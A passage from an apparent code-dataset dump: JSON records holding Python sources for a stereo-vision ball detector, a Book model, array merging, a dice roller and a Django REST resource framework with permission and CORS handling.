fptr.close()\n\n","repo_name":"doorBW/algorithm_practice","sub_path":"hacker_rank/python/035.Frequency_Queries/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17983237234","text":"import os\nimport cv2\nfrom glob import glob\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport stereo_calibration_t as s_cal\n\nl_dir = 'left'\nr_dir = 'right'\nout_dir = 'out'\n\ntarget_dir = 'no_filter_C_outside_2'\n\nkern = np.array([\t[0,1],\n\t\t\t\t\t[1,1]], dtype=np.uint8)\n\nkernel = np.array([\t[0,1,0],\n\t\t\t\t\t[1,1,1],\n\t\t\t\t\t[0,1,0]], dtype=np.uint8)\n\nkernel1 = np.array([[0,0,1,0,0],\n\t\t\t\t\t[0,1,1,1,0],\n\t\t\t\t\t[1,1,1,1,1],\n\t\t\t\t\t[0,1,1,1,0],\n\t\t\t\t\t[0,0,1,0,0]], dtype=np.uint8)\n\nkernel2 = np.array([[0,0,1,1,0,0],\n\t\t\t\t\t[0,1,1,1,1,0],\n\t\t\t\t\t[1,1,1,1,1,1],\n\t\t\t\t\t[1,1,1,1,1,1],\n\t\t\t\t\t[0,1,1,1,1,0],\n\t\t\t\t\t[0,0,1,1,0,0]], dtype=np.uint8)\n\nkernel3 = np.array([[0,0,1,1,1,1,0,0],\n\t\t\t\t\t[0,1,1,1,1,1,1,0],\n\t\t\t\t\t[1,1,1,1,1,1,1,1],\n\t\t\t\t\t[1,1,1,1,1,1,1,1],\n\t\t\t\t\t[1,1,1,1,1,1,1,1],\n\t\t\t\t\t[0,1,1,1,1,1,1,0],\n\t\t\t\t\t[0,0,1,1,1,1,0,0]], dtype=np.uint8)\n\nSIZE = 2\nX = 3\nY = 4\nN_OBJECTS = 10\n\ndef find_balls(root_dir, img_dir, out_img_list, ball_list, ROI):\n\tos.chdir(root)\n\tos.chdir(target_dir+'//'+img_dir)\n\timg_list = glob(\"****.png\")\n\tC_img_list = glob(\"C****.png\")\n\n\n\tball_candidates = []\n\n\tfor i, C_img in enumerate(C_img_list):\n\t\t## -- binary filtering -- ##\n\t\timg = cv2.imread(C_img,cv2.IMREAD_GRAYSCALE)\n\t\tC = np.zeros(img.shape, dtype=np.uint8)\n\t\tC[ROI[1]:ROI[3],ROI[0]:ROI[2]] = img[ROI[1]:ROI[3],ROI[0]:ROI[2]]\n\n\t\tC = cv2.erode(C, kernel, iterations=1)\n\t\tC = cv2.morphologyEx(C, cv2.MORPH_CLOSE, kernel2, iterations=1)\n\t\t\n\t\t## -- object detection -- ##\n\t\tn_features_cv, labels_cv, stats_cv, centroids_cv = cv2.connectedComponentsWithStats(C, connectivity=4)\n\n\t\tlabel_mask_cv = np.logical_and(stats_cv[:,cv2.CC_STAT_AREA]>5, stats_cv[:,cv2.CC_STAT_AREA]<50000)\n\t\tball_candidates = np.concatenate((stats_cv[label_mask_cv,2:],centroids_cv[label_mask_cv]), axis=1)\n\t\t\n\t\t# sort ball candidates by size and keep the top 10\n\t\tball_candidates = ball_candidates[ball_candidates[:,SIZE].argsort()[::-1][:N_OBJECTS]]\n\n\t\tball_list.append((i, ball_candidates))\n\t\tball_candidates = ball_candidates.astype(int)\n\n\t\t## -- adding circles -- ##\n\t\tC = cv2.cvtColor(C, cv2.COLOR_GRAY2RGB)\n\t\timg = cv2.imread(img_list[i])\n\t\t\n\t\tfor ball in ball_candidates:\n\t\t\tif ball[SIZE] > 81:\n\t\t\t\tcv2.drawMarker(C,(ball[X],ball[Y]),(0, 0, 255),cv2.MARKER_CROSS,thickness=2,markerSize=10)\n\t\t\t\tcv2.drawMarker(img,(ball[X],ball[Y]),(0, 0, 255),cv2.MARKER_CROSS,thickness=2,markerSize=10)\n\n\t\timg2 = cv2.vconcat([img,C])\n\t\tout_img_list.append(img2)\n\tos.chdir(root)\n\nif __name__ == \"__main__\":\n\troot = os.getcwd()\n\n\tleft_imgs = []\n\tright_imgs = []\n\n\tleft_balls = []\n\tright_balls = []\n\n\ts_calib = s_cal.StereoCal()\n\ts_calib = s_calib.load_params(\"stereo_calib.npy\")\n\n\tfind_balls(root, l_dir, left_imgs, left_balls, s_calib.validPixROI1)\n\tfind_balls(root, r_dir, right_imgs, right_balls, s_calib.validPixROI2)\n\n\tos.chdir(root)\n\tnp.save('left_ball_candidates.npy', left_balls)\n\tnp.save('right_ball_candidates.npy', right_balls)\n\n\n\tos.chdir(target_dir+'//'+out_dir)\n\n\t# list_len = min(len(left_imgs),len(right_imgs))\n\t# for i in range(list_len):\n\t# \tif i>3:\n\t# \t\timg_out = cv2.hconcat([left_imgs[i],right_imgs[i]])\n\t# \t\tcv2.imshow('img',img_out)\n\t# \t\tcv2.waitKey(30)\n\t# \t\tcv2.imwrite(f\"{i:04d}.png\",img_out)\n\n\n\t# cv.hconcat()\n","repo_name":"Tbailey12/FYP-Tennis-Trainer-Vision-System","sub_path":"testing/object_detection.py","file_name":"object_detection.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"13584264168","text":"class Book:\n def __init__(self, id, title, author, edition, publisher, year_publication, num_pages, barcode, genre, location, cover, description):\n self.id = id\n self.title = title\n self.author = author\n self.edition = edition\n self.publisher = publisher\n self.year_publication = year_publication\n self.num_pages = num_pages\n self.barcode = barcode\n self.genre = genre\n self.location = location\n self.cover = cover\n self.description = description\n \n def getValues(self):\n return self.__dict__.values()","repo_name":"Dogaum1/FDB-Libraza","sub_path":"Module/Book/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33345550170","text":"\ndef solve(self, A, B):\n lenA = len(A);\n lenB = len(B);\n tl = lenA + lenB\n sortedArr = [0]*tl;\n i = 0;\n j = 0;\n # print(sortedArr)\n for k in range(0,(lenA+lenB)):\n if(i==lenA):\n sortedArr[k] = B[j];\n j+=1;\n \n elif((j==lenB) or (A[i]<=B[j])):\n sortedArr[k] = A[i];\n i+=1\n \n else:\n sortedArr[k] = B[j];\n j+=1;\n # print\n return sortedArr;","repo_name":"anshikaCSE007/DSA","sub_path":"Sorting/MergeTwoSortedArr/mergeTwoSortedArr.py","file_name":"mergeTwoSortedArr.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41935658975","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\nimport random\r\nimport matplotlib.pyplot as plt; plt.rcdefaults()\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nclass DieRoll:\r\n def __init__(self, die_num, die_type):\r\n self.die_num = die_num\r\n self.die_type = die_type\r\n self.max_roll = die_num*die_type\r\n self.min_roll = die_num\r\n \r\n def __repr__(self):\r\n die_string = str(self.die_num) + 'd' + str(self.die_type)\r\n return die_string \r\n def get_die_num(self):\r\n return self.die_num\r\n def get_die_type(self):\r\n return self.die_type\r\n def get_min_roll(self):\r\n return self.min_roll\r\n def get_max_roll(self):\r\n return self.max_roll\r\n def get_possible_rolls(self):\r\n possible_roll_list = []\r\n for x in range(self.get_min_roll(), self.get_max_roll()+1):\r\n possible_roll_list.append(x)\r\n return possible_roll_list\r\n \r\n def roll(self):\r\n roll_total = 0\r\n for x in range (0, self.die_num):\r\n random_num = random.randint(1, self.die_type)\r\n # print ('Your Random Number this time is: ',random_num)\r\n roll_total = roll_total + random_num\r\n return roll_total\r\n \r\nclass AdvDieRoll(DieRoll):\r\n def __init__(self,die_num,die_type,die_drop):\r\n self.die_num = die_num\r\n self.die_type = die_type\r\n self.die_drop = die_drop\r\n self.max_roll = (die_num - die_drop)*die_type\r\n self.min_roll = die_num - die_drop\r\n def get_die_drop(self):\r\n return self.die_drop\r\n \r\n def roll(self):\r\n roll_total = 0\r\n roll_list = list()\r\n for x in range (0, self.die_num):\r\n random_num = random.randint(1, self.die_type)\r\n roll_list.append(random_num)\r\n # print ('Your list of rolls: ', roll_list)\r\n roll_list_sorted = sorted(roll_list)\r\n # print ('Your list of rolls sorted: ', roll_list_sorted)\r\n roll_list_dropped = roll_list_sorted[self.die_drop::]\r\n # print ('Your roles with dropped dice:' ,roll_list_dropped)\r\n \r\n for x in roll_list_dropped:\r\n roll_total = roll_total + int(x)\r\n return roll_total\r\n\r\n# num_dice =int( input('How many dice do you want to roll?\\n'))\r\n# type_dice =int( input('What type of dice do you want to roll?\\n'))\r\n# dice_to_drop = int(input('How many dice to drop?'))\r\n\r\ndef DieRollStats(DieRoll, num_rolls):\r\n max_roll = DieRoll.get_max_roll()\r\n min_roll = DieRoll.get_min_roll()\r\n # print ('Min roll:', min_roll, ' Max Roll: ', max_roll)\r\n # print (max_roll , ' ', min_roll)\r\n die_hist = []\r\n for x in range(0,max_roll-min_roll+1):\r\n die_hist.append(0)\r\n # print(die_hist)\r\n for x in range (0, num_rolls):\r\n current_roll = DieRoll.roll()\r\n # print (current_roll)\r\n die_hist[current_roll-min_roll] = die_hist[current_roll-min_roll] + 1\r\n # print(die_hist)\r\n for i in range(len(die_hist)):\r\n die_hist[i] = die_hist[i]/num_rolls * 100\r\n return die_hist\r\n\r\n\r\n# test_adv_die_roll = AdvDieRoll(4,6,1)\r\n\r\n# stats_4_plot = DieRollStats(test_adv_die_roll, 100000)\r\n# y_pos = test_adv_die_roll.get_possible_rolls()\r\n\r\n# print(stats_4_plot, y_pos)\r\n\r\n# plt.bar(y_pos,stats_4_plot,align='center')","repo_name":"yogadragon2636/Random_Projects","sub_path":"DieRoller.py","file_name":"DieRoller.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4040068842","text":"import re\nimport warnings\nimport types\n\nfrom functools import reduce\n\nfrom urllib.parse import urlparse\n\nfrom collections import OrderedDict\n\nfrom django.conf import settings as django_settings\nfrom django.core.exceptions import ValidationError\nfrom django.http.response import HttpResponse, HttpResponseBase\nfrom django.utils.decorators import classonlymethod\nfrom django.utils.encoding import force_text\nfrom django.db.models.fields import DateTimeField\nfrom django.http.response import Http404\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.module_loading import import_string\n\nfrom functools import update_wrapper\n\nfrom chamber.shortcuts import get_object_or_none\nfrom chamber.utils import remove_accent, transaction\n\nfrom .conf import settings\nfrom .paginator import DjangoOffsetBasedPaginator\nfrom .response import (HeadersResponse, RestCreatedResponse, RestNoContentResponse, ResponseErrorFactory,\n ResponseExceptionFactory, ResponseValidationExceptionFactory)\nfrom .exception import (RestException, ConflictException, NotAllowedException, DataInvalidException,\n ResourceNotFoundException, NotAllowedMethodException, DuplicateEntryException,\n UnsupportedMediaTypeException, MimerDataException, UnauthorizedException,\n UnprocessableEntity)\nfrom .forms import ISODateTimeField, RestModelForm, rest_modelform_factory, RestValidationError\nfrom .utils import coerce_rest_request_method, set_rest_context_to_request, rfs\nfrom .utils.helpers import str_to_class\nfrom .serializer import (\n ResourceSerializer, DjangoResourceSerializer, LazyMappedSerializedData, ModelResourceSerializer,\n SerializationType\n)\nfrom .converters import get_converter_name_from_request, get_converter_from_request\nfrom .filters.managers import DjangoFilterManager\nfrom .order.managers import DjangoOrderManager\nfrom .requested_fields.managers import DefaultRequestedFieldsManager\n\n\nACCESS_CONTROL_ALLOW_ORIGIN = 'Access-Control-Allow-Origin'\nACCESS_CONTROL_EXPOSE_HEADERS = 'Access-Control-Expose-Headers'\nACCESS_CONTROL_ALLOW_CREDENTIALS = 'Access-Control-Allow-Credentials'\nACCESS_CONTROL_ALLOW_HEADERS = 'Access-Control-Allow-Headers'\nACCESS_CONTROL_ALLOW_METHODS = 'Access-Control-Allow-Methods'\nACCESS_CONTROL_MAX_AGE = 'Access-Control-Max-Age'\n\n\ntypemapper = {}\nresource_tracker = []\n\n\nclass ResourceMetaClass(type):\n \"\"\"\n Metaclass that keeps a registry of class -> resource\n mappings.\n \"\"\"\n def __new__(cls, name, bases, attrs):\n abstract = attrs.pop('abstract', False)\n new_cls = type.__new__(cls, name, bases, attrs)\n if not abstract and getattr(new_cls, 'register', False) and settings.AUTO_REGISTER_RESOURCE:\n def already_registered(model):\n return typemapper.get(model)\n\n if hasattr(new_cls, 'model'):\n if already_registered(new_cls.model) and not settings.IGNORE_DUPE_MODELS:\n warnings.warn('Resource already registered for model {}, '\n 'you may experience inconsistent results.'.format(new_cls.model.__name__))\n\n typemapper[new_cls.model] = new_cls\n\n if name != 'BaseResource':\n resource_tracker.append(new_cls)\n\n if not abstract:\n converters = OrderedDict()\n for converter_class_path in getattr(new_cls, 'converter_classes', []):\n converter_class = (\n import_string(converter_class_path) if isinstance(converter_class_path, str)\n else converter_class_path\n )\n converters[converter_class.format] = converter_class()\n new_cls.converters = converters\n return new_cls\n\n\nclass PermissionsResourceMixin:\n\n allowed_methods = ('get', 'post', 'put', 'patch', 'delete', 'head', 'options')\n\n def get_allowed_methods(self):\n return set(self.allowed_methods)\n\n def _get_via(self, via=None):\n via = list(via) if via is not None else []\n via.append(self)\n return via\n\n def check_permissions_and_get_allowed_methods(self, restricted_methods=None, **kwargs):\n allowed_methods = []\n\n tested_methods = self.get_allowed_methods()\n if restricted_methods is not None:\n tested_methods = tested_methods.intersection(restricted_methods)\n\n for method in tested_methods:\n try:\n self._check_permission(method, **kwargs)\n allowed_methods.append(method)\n except (NotImplementedError, NotAllowedException, UnauthorizedException):\n pass\n return allowed_methods\n\n def _check_permission(self, name=None, *args, **kwargs):\n name = name or self.request.method.lower()\n\n if not hasattr(self, 'has_{}_permission'.format(name)):\n if django_settings.DEBUG:\n raise NotImplementedError(\n 'Please implement method has_{}_permission to {}'.format(name, self.__class__)\n )\n else:\n raise NotAllowedException\n\n if not getattr(self, 'has_{}_permission'.format(name))(*args, **kwargs):\n raise NotAllowedException\n\n def has_permission(self, name=None, *args, **kwargs):\n name = name or self.request.method.lower()\n\n if not hasattr(self, 'has_{}_permission'.format(name)):\n if django_settings.DEBUG:\n raise NotImplementedError(\n 'Please implement method has_{}_permission to {}'.format(name, self.__class__)\n )\n else:\n return False\n try:\n return getattr(self, 'has_{}_permission'.format(name))(*args, **kwargs)\n except (Http404, NotAllowedException, UnauthorizedException):\n return False\n\n def has_get_permission(self, **kwargs):\n return 'get' in self.get_allowed_methods() and hasattr(self, 'get')\n\n def has_post_permission(self, **kwargs):\n return 'post' in self.get_allowed_methods() and hasattr(self, 'post')\n\n def has_put_permission(self, **kwargs):\n return 'put' in self.get_allowed_methods() and hasattr(self, 'put')\n\n def has_patch_permission(self, **kwargs):\n return 'patch' in self.get_allowed_methods() and hasattr(self, 'patch')\n\n def has_delete_permission(self, **kwargs):\n return 'delete' in self.get_allowed_methods() and hasattr(self, 'delete')\n\n def has_head_permission(self, **kwargs):\n return 'head' in self.get_allowed_methods() and (hasattr(self, 'head') or self.has_get_permission(**kwargs))\n\n def has_options_permission(self, **kwargs):\n return 'options' in self.get_allowed_methods() and hasattr(self, 'options')\n\n\nclass ModelPermissionsResourceMixin(PermissionsResourceMixin):\n\n can_create_obj = False\n can_read_obj = False\n can_update_obj = False\n can_delete_obj = False\n\n def has_create_obj_permission(self, obj=None, via=None):\n return self.can_create_obj\n\n def has_read_obj_permission(self, obj=None, via=None):\n return self.can_read_obj\n\n def has_update_obj_permission(self, obj=None, via=None):\n return self.can_update_obj\n\n def has_delete_obj_permission(self, obj=None, via=None):\n return self.can_delete_obj\n\n\nclass BaseResource(PermissionsResourceMixin, metaclass=ResourceMetaClass):\n \"\"\"\n BaseResource that gives you CRUD for free.\n You are supposed to subclass this for specific\n functionality.\n\n All CRUD methods (`read`/`update`/`create`/`delete`)\n receive a request as the first argument from the\n resource. Use this for checking `request.user`, etc.\n \"\"\"\n\n allowed_methods = ('get', 'post', 'put', 'patch', 'delete', 'head', 'options')\n serializer = ResourceSerializer\n register = False\n abstract = True\n csrf_exempt = True\n cache = None\n paginator = None\n resource_typemapper = {}\n converter_classes = settings.CONVERTERS\n errors_response_class = settings.ERRORS_RESPONSE_CLASS\n error_response_class = settings.ERROR_RESPONSE_CLASS\n field_labels = {}\n requested_fields_manager = DefaultRequestedFieldsManager()\n renamed_fields = {}\n\n DEFAULT_REST_CONTEXT_MAPPING = {\n 'serialization_format': ('HTTP_X_SERIALIZATION_FORMAT', '_serialization_format'),\n 'fields': ('HTTP_X_FIELDS', '_fields'),\n 'offset': ('HTTP_X_OFFSET', '_offset'),\n 'base': ('HTTP_X_BASE', '_base'),\n 'accept': ('HTTP_ACCEPT', '_accept'),\n 'content_type': ('CONTENT_TYPE', '_content_type'),\n 'filter': ('HTTP_X_FILTER', 'filter'),\n 'order': ('HTTP_X_ORDER', 'order'),\n 'cursor': ('HTTP_X_CURSOR', 'cursor'),\n }\n\n def update_errors(self, data):\n if data and self.renamed_fields:\n data = LazyMappedSerializedData(data, {v: k for k, v in self.renamed_fields.items()}).serialize()\n return data\n\n def update_data(self, data):\n if data and isinstance(data, dict) and self.renamed_fields:\n return {self.renamed_fields.get(k, k): v for k, v in data.items()}\n else:\n return data\n\n def __init__(self, request):\n self.request = request\n self.args = []\n self.kwargs = {}\n\n def _get_requested_fieldset(self, result):\n if self.requested_fields_manager:\n requested_fields = self.requested_fields_manager.get_requested_fields(self, self.request)\n if requested_fields is not None:\n return requested_fields\n\n return None\n\n def get_field_labels(self):\n return self.field_labels\n\n def get_field_label(self, field_name):\n return self.field_labels.get(field_name) if self.field_labels else None\n\n def get_allowed_methods(self):\n allowed_methods = super().get_allowed_methods()\n if self.is_allowed_cors:\n allowed_methods.add('options')\n return allowed_methods\n\n @property\n def exception_responses(self):\n errors_response_class = (\n str_to_class(self.errors_response_class) if isinstance(self.errors_response_class, str)\n else self.errors_response_class\n )\n error_response_class = (\n str_to_class(self.error_response_class) if isinstance(self.error_response_class, str)\n else self.error_response_class\n )\n return (\n (MimerDataException, ResponseErrorFactory(_('Bad Request'), 400, error_response_class)),\n (UnauthorizedException, ResponseErrorFactory(_('Unauthorized'), 401, error_response_class)),\n (NotAllowedException, ResponseErrorFactory(_('Forbidden'), 403, error_response_class)),\n (UnsupportedMediaTypeException, ResponseErrorFactory(_('Unsupported Media Type'), 415,\n error_response_class)),\n (Http404, ResponseErrorFactory(_('Not Found'), 404, error_response_class)),\n (ResourceNotFoundException, ResponseErrorFactory(_('Not Found'), 404, error_response_class)),\n (NotAllowedMethodException, ResponseErrorFactory(_('Method Not Allowed'), 405, error_response_class)),\n (DuplicateEntryException, ResponseErrorFactory(_('Conflict/Duplicate'), 409, error_response_class)),\n (ConflictException, ResponseErrorFactory(_('Conflict/Duplicate'), 409, error_response_class)),\n (DataInvalidException, ResponseExceptionFactory(errors_response_class)),\n (UnprocessableEntity, ResponseExceptionFactory(error_response_class, code=422)),\n (RestException, ResponseExceptionFactory(error_response_class)),\n (ValidationError, ResponseValidationExceptionFactory(error_response_class)),\n (RestValidationError, ResponseValidationExceptionFactory(error_response_class)),\n )\n\n @property\n def is_allowed_cors(self):\n return settings.CORS\n\n @property\n def cors_whitelist(self):\n return settings.CORS_WHITELIST\n\n @property\n def cors_max_age(self):\n return settings.CORS_MAX_AGE\n\n def get_dict_data(self):\n return self.update_data(\n self.request.data if hasattr(self.request, 'data') and isinstance(self.request.data, dict) else {}\n )\n\n def _get_serialization_format(self):\n serialization_format = self.request._rest_context.get('serialization_format', SerializationType.RAW)\n try:\n return SerializationType(serialization_format)\n except ValueError:\n return SerializationType.RAW\n\n def head(self):\n return self.get()\n\n def _get_cors_allowed_headers(self):\n return settings.CORS_ALLOWED_HEADERS\n\n def _get_cors_allowed_exposed_headers(self):\n return settings.CORS_ALLOWED_EXPOSED_HEADERS\n\n def _cors_is_origin_allowed(self, origin):\n if not origin:\n return False\n elif self.cors_whitelist == '__all__':\n return True\n else:\n url = urlparse(origin)\n return url.netloc in self.cors_whitelist or self._regex_domain_match(origin)\n\n def _regex_domain_match(self, origin):\n for domain_pattern in self.cors_whitelist:\n if re.match(domain_pattern, origin):\n return origin\n\n def _is_cors_options_request(self):\n return (\n self.is_allowed_cors and self.request.method.upper() == 'OPTIONS' and self.request.META.get('HTTP_ORIGIN')\n )\n\n def options(self):\n if self._is_cors_options_request():\n http_headers = {\n ACCESS_CONTROL_ALLOW_METHODS: self.request.META.get('HTTP_ACCESS_CONTROL_REQUEST_METHOD', 'OPTIONS'),\n ACCESS_CONTROL_ALLOW_HEADERS: ', '.join(self._get_cors_allowed_headers())\n }\n return HeadersResponse(None, http_headers=http_headers)\n else:\n return None\n\n def _get_converted_dict(self, result):\n return self._get_converted_serialized_data(result)\n\n def _get_converted_serialized_data(self, result):\n return self.serializer(self, request=self.request).serialize(\n result, self._get_serialization_format(), lazy=True, allow_tags=self._get_converter().allow_tags,\n requested_fieldset=self._get_requested_fieldset(result)\n )\n\n def _get_converter(self):\n try:\n return get_converter_from_request(self.request, self.converters)\n except ValueError:\n raise UnsupportedMediaTypeException\n\n def _serialize(self, output_stream, result, status_code, http_headers):\n converter = self._get_converter()\n http_headers['Content-Type'] = converter.content_type\n converter.encode_to_stream(\n output_stream, self._get_converted_dict(result), resource=self, request=self.request,\n status_code=status_code, http_headers=http_headers, result=result,\n requested_fieldset=self._get_requested_fieldset(result)\n )\n\n def _deserialize(self):\n rm = self.request.method.upper()\n # Django's internal mechanism doesn't pick up\n # PUT request, so we trick it a little here.\n if rm in {'PUT', 'PATCH'}:\n coerce_rest_request_method(self.request)\n\n if rm in {'POST', 'PUT', 'PATCH'}:\n try:\n converter = get_converter_from_request(self.request, self.converters, True)\n self.request.data = self.serializer(self).deserialize(\n converter.decode(force_text(self.request.body), resource=self)\n )\n except (TypeError, ValueError):\n raise MimerDataException\n except NotImplementedError:\n raise UnsupportedMediaTypeException\n return self.request\n\n def _get_error_response_from_exception(self, exception):\n for exception_class, response_factory in self.exception_responses:\n if isinstance(exception, exception_class):\n return response_factory.get_response(exception)\n\n def _get_response_data(self):\n status_code = 200\n http_headers = {}\n\n fieldset = True\n try:\n rm = self.request.method.lower()\n meth = getattr(self, rm, None)\n\n if not meth or rm not in self.get_allowed_methods():\n raise NotAllowedMethodException\n\n self.request = self._deserialize()\n self._check_permission(rm)\n result = meth()\n except Exception as ex:\n result = self._get_error_response_from_exception(ex)\n if result is None:\n raise ex\n fieldset = False\n\n if isinstance(result, HeadersResponse):\n fieldset = result.fieldset\n http_headers = result.http_headers\n status_code = result.status_code\n result = result.result\n\n if isinstance(result, HttpResponse):\n status_code = result.status_code\n result = result._container\n return result, http_headers, status_code, fieldset\n\n def _set_response_headers(self, response, http_headers):\n for header, value in http_headers.items():\n response[header] = value\n\n def _get_from_cache(self):\n if self.cache:\n return self.cache.get_response(self.request)\n\n def _store_to_cache(self, response):\n if self.cache and response.status_code < 400:\n self.cache.cache_response(self.request, response)\n\n def _get_headers_queryset_context_mapping(self):\n return self.DEFAULT_REST_CONTEXT_MAPPING.copy()\n\n def _get_context(self):\n context = {}\n for key, (header_key, queryset_key) in self._get_headers_queryset_context_mapping().items():\n val = self.request.GET.get(queryset_key, self.request.META.get(header_key))\n if val:\n context[key] = val\n return context\n\n def render_response(self, result, http_headers, status_code, fieldset):\n if isinstance(result, HttpResponseBase):\n return result\n else:\n if not fieldset:\n self.request._rest_context.pop('fields', None)\n response = HttpResponse()\n try:\n response.status_code = status_code\n http_headers = self._get_headers(http_headers)\n self._serialize(response, result, status_code, http_headers)\n except UnsupportedMediaTypeException:\n response.status_code = 415\n\n self._set_response_headers(response, http_headers)\n return response\n\n def dispatch(self, request, *args, **kwargs):\n set_rest_context_to_request(request, self._get_headers_queryset_context_mapping())\n response = self._get_from_cache()\n if response:\n return response\n else:\n response = self.render_response(*self._get_response_data())\n self._store_to_cache(response)\n return response\n\n def _get_name(self):\n return 'resource'\n\n def _get_filename(self):\n return '{}.{}'.format(self._get_name(), get_converter_name_from_request(self.request, self.converters))\n\n def _get_allow_header(self):\n return ','.join((method.upper() for method in self.check_permissions_and_get_allowed_methods()))\n\n def _get_headers(self, default_http_headers):\n origin = self.request.META.get('HTTP_ORIGIN')\n\n http_headers = default_http_headers.copy()\n http_headers['Cache-Control'] = 'private, no-cache, no-store, max-age=0'\n http_headers['Pragma'] = 'no-cache'\n http_headers['Expires'] = '0'\n http_headers['Vary'] = 'Accept'\n\n if self.has_permission():\n http_headers['X-Serialization-Format-Options'] = ','.join([v.value for v in SerializationType])\n http_headers['Content-Disposition'] = 'inline; filename=\"{}\"'.format(self._get_filename())\n http_headers['Allow'] = self._get_allow_header()\n\n if self.is_allowed_cors:\n if origin and self._cors_is_origin_allowed(origin):\n http_headers[ACCESS_CONTROL_ALLOW_ORIGIN] = origin\n http_headers[ACCESS_CONTROL_ALLOW_CREDENTIALS] = (\n 'true' if settings.CORS_ALLOW_CREDENTIALS else 'false'\n )\n cors_allowed_exposed_headers = self._get_cors_allowed_exposed_headers()\n if cors_allowed_exposed_headers:\n http_headers[ACCESS_CONTROL_EXPOSE_HEADERS] = ', '.join(cors_allowed_exposed_headers)\n http_headers[ACCESS_CONTROL_MAX_AGE] = str(self.cors_max_age)\n return http_headers\n\n @classonlymethod\n def as_view(cls, allowed_methods=None, **initkwargs):\n def view(request, *args, **kwargs):\n self = cls(request, **initkwargs)\n self.request = request\n self.args = args\n self.kwargs = kwargs\n if allowed_methods is not None:\n self.allowed_methods = set(allowed_methods) & set(cls.allowed_methods)\n else:\n self.allowed_methods = set(cls.allowed_methods)\n\n return self.dispatch(request, *args, **kwargs)\n view.csrf_exempt = cls.csrf_exempt\n view.view_class = cls\n # take name and docstring from class\n update_wrapper(view, cls, updated=())\n\n # and possible attributes set by decorators\n # like csrf_exempt from dispatch\n update_wrapper(view, cls.dispatch, assigned=())\n return view\n\n\ndef join_rfs(*iterable):\n return reduce(lambda a, b: a.join(b), iterable, rfs())\n\n\nclass ModelResourceMixin(ModelPermissionsResourceMixin):\n\n fields = None\n allowed_fields = None\n detailed_fields = None\n general_fields = None\n guest_fields = None\n allowed_methods = None\n default_fields = None\n extra_fields = None\n filter_fields = None\n extra_filter_fields = None\n order_fields = None\n extra_order_fields = None\n\n def get_allowed_fields_rfs(self, obj=None):\n return rfs(self.allowed_fields) if self.allowed_fields is not None else join_rfs(\n self.get_fields_rfs(obj),\n self.get_detailed_fields_rfs(obj),\n self.get_general_fields_rfs(obj),\n self.get_extra_fields_rfs(obj),\n self.get_default_fields_rfs(obj)\n )\n\n def get_fields(self, obj=None):\n return list(self.fields) if self.fields is not None else None\n\n def get_default_fields(self, obj=None):\n return list(self.default_fields) if self.default_fields is not None else None\n\n def get_detailed_fields(self, obj=None):\n return list(self.detailed_fields) if self.detailed_fields is not None else self.get_fields(obj=obj)\n\n def get_general_fields(self, obj=None):\n return list(self.general_fields) if self.general_fields is not None else self.get_fields(obj=obj)\n\n def get_guest_fields(self, obj=None):\n return list(self.guest_fields) if self.guest_fields is not None else None\n\n def get_extra_fields(self, obj=None):\n return list(self.extra_fields) if self.extra_fields is not None else None\n\n def get_fields_rfs(self, obj=None):\n fields = self.get_fields(obj=obj)\n return rfs(fields) if fields is not None else rfs()\n\n def get_default_fields_rfs(self, obj=None):\n default_fields = self.get_default_fields(obj=obj)\n return rfs(default_fields) if default_fields is not None else rfs()\n\n def get_detailed_fields_rfs(self, obj=None):\n detailed_fields = self.get_detailed_fields(obj=obj)\n return (rfs(detailed_fields) if detailed_fields is not None else rfs()).join(self.get_default_fields_rfs())\n\n def get_general_fields_rfs(self, obj=None):\n general_fields = self.get_general_fields(obj=obj)\n return (rfs(general_fields) if general_fields is not None else rfs()).join(self.get_default_fields_rfs())\n\n def get_guest_fields_rfs(self, obj=None):\n guest_fields = self.get_guest_fields(obj=obj)\n return rfs(guest_fields) if guest_fields is not None else rfs()\n\n def get_extra_fields_rfs(self, obj=None):\n extra_fields = self.get_extra_fields(obj=obj)\n return rfs(extra_fields) if extra_fields is not None else rfs()\n\n def get_extra_filter_fields(self):\n \"\"\"\n :return: filter fields list that excludes default filter fields.\n \"\"\"\n return list(self.extra_filter_fields) if self.extra_filter_fields is not None else None\n\n def get_filter_fields(self):\n \"\"\"\n :return: filter fields list or None.\n \"\"\"\n return list(self.filter_fields) if self.filter_fields is not None else None\n\n def get_filter_fields_rfs(self):\n \"\"\"\n :return: RFS of allowed filter fields. If filter_fields is None value is returned from all allowed fields to\n read.\n \"\"\"\n filter_fields = self.get_filter_fields()\n extra_filter_fields = self.get_extra_filter_fields() or ()\n if filter_fields is None:\n return rfs(extra_filter_fields).join(self.get_allowed_fields_rfs())\n else:\n return rfs(extra_filter_fields).join(rfs(filter_fields))\n\n def get_extra_order_fields(self):\n \"\"\"\n :return: order fields list that excludes default filter fields.\n \"\"\"\n return list(self.extra_order_fields) if self.extra_order_fields is not None else None\n\n def get_order_fields(self):\n \"\"\"\n :return: order fields list or None.\n \"\"\"\n return list(self.order_fields) if self.order_fields is not None else None\n\n def get_order_fields_rfs(self):\n \"\"\"\n :return: RFS of allowed order fields. If order_fields is None value is returned from all allowed fields to\n read.\n \"\"\"\n order_fields = self.get_order_fields()\n extra_order_fields = self.get_extra_order_fields() or ()\n if order_fields is None:\n return rfs(extra_order_fields).join(self.get_allowed_fields_rfs())\n else:\n return rfs(extra_order_fields).join(rfs(order_fields))\n\n def get_methods_returning_field_value(self, fields):\n \"\"\"\n Returns dict of resource methods which can be used with serializer to get a field value.\n :param fields: list of field names\n :return: dict of 